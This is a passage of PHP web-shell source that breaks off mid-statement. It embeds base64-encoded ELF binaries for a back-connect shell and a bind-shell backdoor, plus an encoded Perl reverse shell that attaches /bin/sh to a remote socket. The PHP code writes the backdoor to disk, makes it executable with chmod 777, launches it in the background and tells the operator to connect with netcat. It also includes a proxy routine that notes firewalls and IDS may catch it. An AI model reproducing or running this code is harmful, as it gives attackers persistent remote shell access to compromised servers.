AAMAGgAAAAAAAAAAAAAAAAADABsAAQAAAPyFBAgAAAAAAgAMABEAAAAAAAAAAAAAAAQA8f8cAAAALJkECAAAAAABABAAKgAAADSZBAgAAAAAAQARADgAAAA8mQQIAAAAAAEAEgBFAAAAYJoECAAAAAABABYASQAAAGSaBAgBAAAAAQAXAFUAAAAghgQIAAAAAAIADABrAAAAVIYECAAAAAACAAwAEQAAAAAAAAAAAAAABADx/3cAAAAwmQQIAAAAAAEAEACEAAAAOJkECAAAAAABABEAkQAAACiJBAgAAAAAAQAPAJ8AAAA8mQQIAAAAAAEAEgCrAAAArIgECAAAAAACAAwAwQAAAAAAAAAAAAAABADx/8gAAAAAAAAAHAEAABIAAADZAAAAQJkECAAAAAARABMA4gAAAAAAAABxAAAAEgAAAPMAAADsiAQIBAAAABEADgD6AAAAAAAAAAsCAAASAAAADAEAACyZBAgAAAAAEALx/x0BAABcmgQIAAAAABECFgAqAQAAaIgECEIAAAASAAwAOgEAAAAAAAB9AAAAEgAAAEwBAACwhAQIAAAAABIACgBSAQAAAAAAAKwBAAASAAAAZAEAANiFBAgAAAAAEgAMAGsBAAAAAAAArwAAABIAAAB9AQAALJkECAAAAAAQAvH/kAEAABSIBAhSAAAAEgAMAKABAAAAAAAAJwAAABIAAAC1AQAAZJoECAAAAAAQAPH/wQEAAICGBAiTAQAAEgAMAMYBAAAAAAAA3QAAABIAAADjAQAALJkECAAAAAAQAvH/9AEAAAAAAAA6AAAAEgAAAAQCAAAAAAAAqgEAABIAAAAWAgAAWJoECAAAAAAgABYAIQIAANCIBAgAAAAAEgANACcCAAAsmQQIAAAAABAC8f87AgAAAAAAADYAAAASAAAATAIAAAAAAADZAAAAEgAAAFwCAAAAAAAAKAAAABIAAABsAgAAZJoECAAAAAAQAPH/cwIAAAyaBAgAAAAAEQAVAIkCAABomgQIAAAAABAA8f+OAgAAAAAAAA4AAAASAAAAnwIAAAAAAAB4AAAAEgAAALICAAAsmQQIAAAAABAC8f/FAgAA8IgECAQAAAARAA4A1AIAAFiaBAgAAAAAEAAWAOECAAAAAAAAOQAAABIAAADzAgAAAAAAAAAAAAAgAAAABwMAACyZBAgAAAAAEALx/x0DAAAAAAAAAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAYmFjay5jAGV4ZWNsQEBHTElCQ18yLjAAX0RZTkFNSUMAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZABfX2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA=="; + +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + +$backdoor="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A"; + +function checkproxyhost(){ +$host = getenv("HTTP_HOST"); +$filename = '/tmp/.setan/xh'; +if (file_exists($filename)) { +$_POST['proxyhostmsg']="</br></br><center><font color=green size=3><b>Success!</b></font></br></br><a href=$host:6543>$host:6543</a></br></br><b>Note:</b> If '$host' have a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.</br></br></center>"; +} else { +$_POST['proxyhostmsg']="</br></br><center><font color=red size=3><b>Failed!</b></font></br></br><b>Note:</b> If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.</br></br></center>"; + } +} + +if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) +{ + $ip = gethostbyname($_SERVER["HTTP_HOST"]); + $por = $_POST['backconnectport']; + if(is_writable(".")){ + cfb("shbd",$backdoor); + ex("chmod 777 shbd"); + $cmd = "./shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } + $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; + }else{ + cfb("/tmp/shbd",$backdoor); + ex("chmod 777 /tmp/shbd"); + $cmd = "./tmp/shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, 